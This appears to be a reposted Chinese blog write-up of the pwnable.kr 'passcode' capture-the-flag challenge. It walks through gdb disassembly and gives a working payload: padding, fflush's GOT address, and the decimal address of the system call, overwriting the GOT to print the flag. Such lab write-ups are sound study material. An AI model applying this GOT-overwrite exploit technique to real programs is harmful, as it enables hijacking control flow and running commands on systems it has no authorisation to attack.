pwnable kr 之 passcode

http://pwnable.kr/playproc.php?no=18

首先,需要对got表的一个基础认识

这里对got表和plt表进行一个简单的介绍

https://blog.csdn.net/qq_18661257/article/details/54694748

用gdb运行一下程序

gdb ./passcode

#查看main函数的反汇编

(gdb) disass main

Dump of assembler code for function main:
   0x08048665 <+0>:	push   %ebp
   0x08048666 <+1>:	mov    %esp,%ebp
   0x08048668 <+3>:	and    $0xfffffff0,%esp
   0x0804866b <+6>:	sub    $0x10,%esp
   0x0804866e <+9>:	movl   $0x80487f0,(%esp)
   0x08048675 <+16>:	call   0x8048450 <puts@plt>
   0x0804867a <+21>:	call   0x8048609 <welcome> //welcome,login函数没有输入参数
   0x0804867f <+26>:	call   0x8048564 <login>  //两个函数的ebp位置没有变化
   0x08048684 <+31>:	movl   $0x8048818,(%esp)
   0x0804868b <+38>:	call   0x8048450 <puts@plt>
   0x08048690 <+43>:	mov    $0x0,%eax
   0x08048695 <+48>:	leave  
   0x08048696 <+49>:	ret    
End of assembler dump.

#查看 welcome ,login 函数

(gdb) disass welcome 
Dump of assembler code for function welcome:
   0x08048609 <+0>:	push   %ebp
   0x0804860a <+1>:	mov    %esp,%ebp
   0x0804860c <+3>:	sub    $0x88,%esp
   0x08048612 <+9>:	mov    %gs:0x14,%eax
   0x08048618 <+15>:	mov    %eax,-0xc(%ebp)
   0x0804861b <+18>:	xor    %eax,%eax
   0x0804861d <+20>:	mov    $0x80487cb,%eax
   0x08048622 <+25>:	mov    %eax,(%esp)
   0x08048625 <+28>:	call   0x8048420 <printf@plt> 
   0x0804862a <+33>:	mov    $0x80487dd,%eax
   0x0804862f <+38>:	lea    -0x70(%ebp),%edx
   0x08048632 <+41>:	mov    %edx,0x4(%esp)
   0x08048636 <+45>:	mov    %eax,(%esp)
   0x08048639 <+48>:	call   0x80484a0 <__isoc99_scanf@plt> //输入用户名
   0x0804863e <+53>:	mov    $0x80487e3,%eax
   0x08048643 <+58>:	lea    -0x70(%ebp),%edx
   0x08048646 <+61>:	mov    %edx,0x4(%esp)
   0x0804864a <+65>:	mov    %eax,(%esp)
   0x0804864d <+68>:	call   0x8048420 <printf@plt> //打印用户名
   0x08048652 <+73>:	mov    -0xc(%ebp),%eax
   0x08048655 <+76>:	xor    %gs:0x14,%eax
   0x0804865c <+83>:	je     0x8048663 <welcome+90>
---Type <return> to continue, or q <return> to quit---r
   0x0804865e <+85>:	call   0x8048440 <__stack_chk_fail@plt>
   0x08048663 <+90>:	leave  
   0x08048664 <+91>:	ret    
End of assembler dump.


(gdb) disass login
Dump of assembler code for function login:
   0x08048564 <+0>:	push   %ebp
   0x08048565 <+1>:	mov    %esp,%ebp
   0x08048567 <+3>:	sub    $0x28,%esp
   0x0804856a <+6>:	mov    $0x8048770,%eax
   0x0804856f <+11>:	mov    %eax,(%esp)
   0x08048572 <+14>:	call   0x8048420 <printf@plt>
   0x08048577 <+19>:	mov    $0x8048783,%eax
   0x0804857c <+24>:	mov    -0x10(%ebp),%edx //正常scanf的第二个参数是lea xxx,xxx
   0x0804857f <+27>:	mov    %edx,0x4(%esp)   //说明第二个参数少了&,为got表覆写提供了条件
   0x08048583 <+31>:	mov    %eax,(%esp)
   0x08048586 <+34>:	call   0x80484a0 <__isoc99_scanf@plt> //输入passcode1
   0x0804858b <+39>:	mov    0x804a02c,%eax
   0x08048590 <+44>:	mov    %eax,(%esp)
   0x08048593 <+47>:	call   0x8048430 <fflush@plt>
   0x08048598 <+52>:	mov    $0x8048786,%eax
   0x0804859d <+57>:	mov    %eax,(%esp)
   0x080485a0 <+60>:	call   0x8048420 <printf@plt>
   0x080485a5 <+65>:	mov    $0x8048783,%eax
   0x080485aa <+70>:	mov    -0xc(%ebp),%edx
   0x080485ad <+73>:	mov    %edx,0x4(%esp)
   0x080485b1 <+77>:	mov    %eax,(%esp)
   0x080485b4 <+80>:	call   0x80484a0 <__isoc99_scanf@plt> //输入passcode2
   0x080485b9 <+85>:	movl   $0x8048799,(%esp)
   0x080485c0 <+92>:	call   0x8048450 <puts@plt>
   0x080485c5 <+97>:	cmpl   $0x528e6,-0x10(%ebp)
   0x080485cc <+104>:	jne    0x80485f1 <login+141>
---Type <return> to continue, or q <return> to quit---r
   0x080485ce <+106>:	cmpl   $0xcc07c9,-0xc(%ebp)
   0x080485d5 <+113>:	jne    0x80485f1 <login+141>
   0x080485d7 <+115>:	movl   $0x80487a5,(%esp)
   0x080485de <+122>:	call   0x8048450 <puts@plt>
   0x080485e3 <+127>:	movl   $0x80487af,(%esp) //flag所在之处,记住这个指令地址0x080485e3
   0x080485ea <+134>:	call   0x8048460 <system@plt>
   0x080485ef <+139>:	leave  
   0x080485f0 <+140>:	ret    
   0x080485f1 <+141>:	movl   $0x80487bd,(%esp)
   0x080485f8 <+148>:	call   0x8048450 <puts@plt>
   0x080485fd <+153>:	movl   $0x0,(%esp)
   0x08048604 <+160>:	call   0x8048480 <exit@plt>
End of assembler dump.


我们选择覆写scanf passcode1 后面的第一个函数 fflush的got表

(gdb) x/16i 0x8048430
   0x8048430 <fflush@plt>:	jmp    *0x804a004 //0x804a004是fflush函数的got表位置
   0x8048436 <fflush@plt+6>:	push   $0x8
   0x804843b <fflush@plt+11>:	jmp    0x8048410
   0x8048440 <__stack_chk_fail@plt>:	jmp    *0x804a008
   0x8048446 <__stack_chk_fail@plt+6>:	push   $0x10
   0x804844b <__stack_chk_fail@plt+11>:	jmp    0x8048410
   0x8048450 <puts@plt>:	jmp    *0x804a00c
   0x8048456 <puts@plt+6>:	push   $0x18
   0x804845b <puts@plt+11>:	jmp    0x8048410
   0x8048460 <system@plt>:	jmp    *0x804a010
   0x8048466 <system@plt+6>:	push   $0x20
   0x804846b <system@plt+11>:	jmp    0x8048410
   0x8048470 <__gmon_start__@plt>:	jmp    *0x804a014
   0x8048476 <__gmon_start__@plt+6>:	push   $0x28
   0x804847b <__gmon_start__@plt+11>:	jmp    0x8048410
   0x8048480 <exit@plt>:	jmp    *0x804a018
(gdb) x/16s 0x8048783
0x8048783:	"%d" //是输入int值
0x8048786:	"enter passcode2 : "
0x8048799:	"checking..."
0x80487a5:	"Login OK!"
0x80487af:	"/bin/cat flag"
0x80487bd:	"Login Failed!"
0x80487cb:	"enter you name : "
0x80487dd:	"%100s"
0x80487e3:	"Welcome %s!\n"
0x80487f0:	"Toddler's Secure Login System 1.0 beta."
0x8048818:	"Now I can safely trust you that you have credential :)"
0x804884f:	""
0x8048850:	"\001\033\003;@"
0x8048856:	""
0x8048857:	""
0x8048858:	"\a"

这里我们就大致能够构造处我们的payload

'A'*0x(70-10) + '\x04\xa0\x04\x08' +  '134514147\n' // 134514147是由0x080485e3转换为int类型的值

填充96个A,然后将fflush的got表的地址将passcode1的值覆盖,scanf (”%d“,passcode1) 将sys函数开始地址0x080485e3

覆盖fflush的got表,当程序执行到fflush函数时,就会跳转到0x080485e3处也就是sys函数处。

猜你喜欢

转载自blog.csdn.net/Maxmalloc/article/details/82780320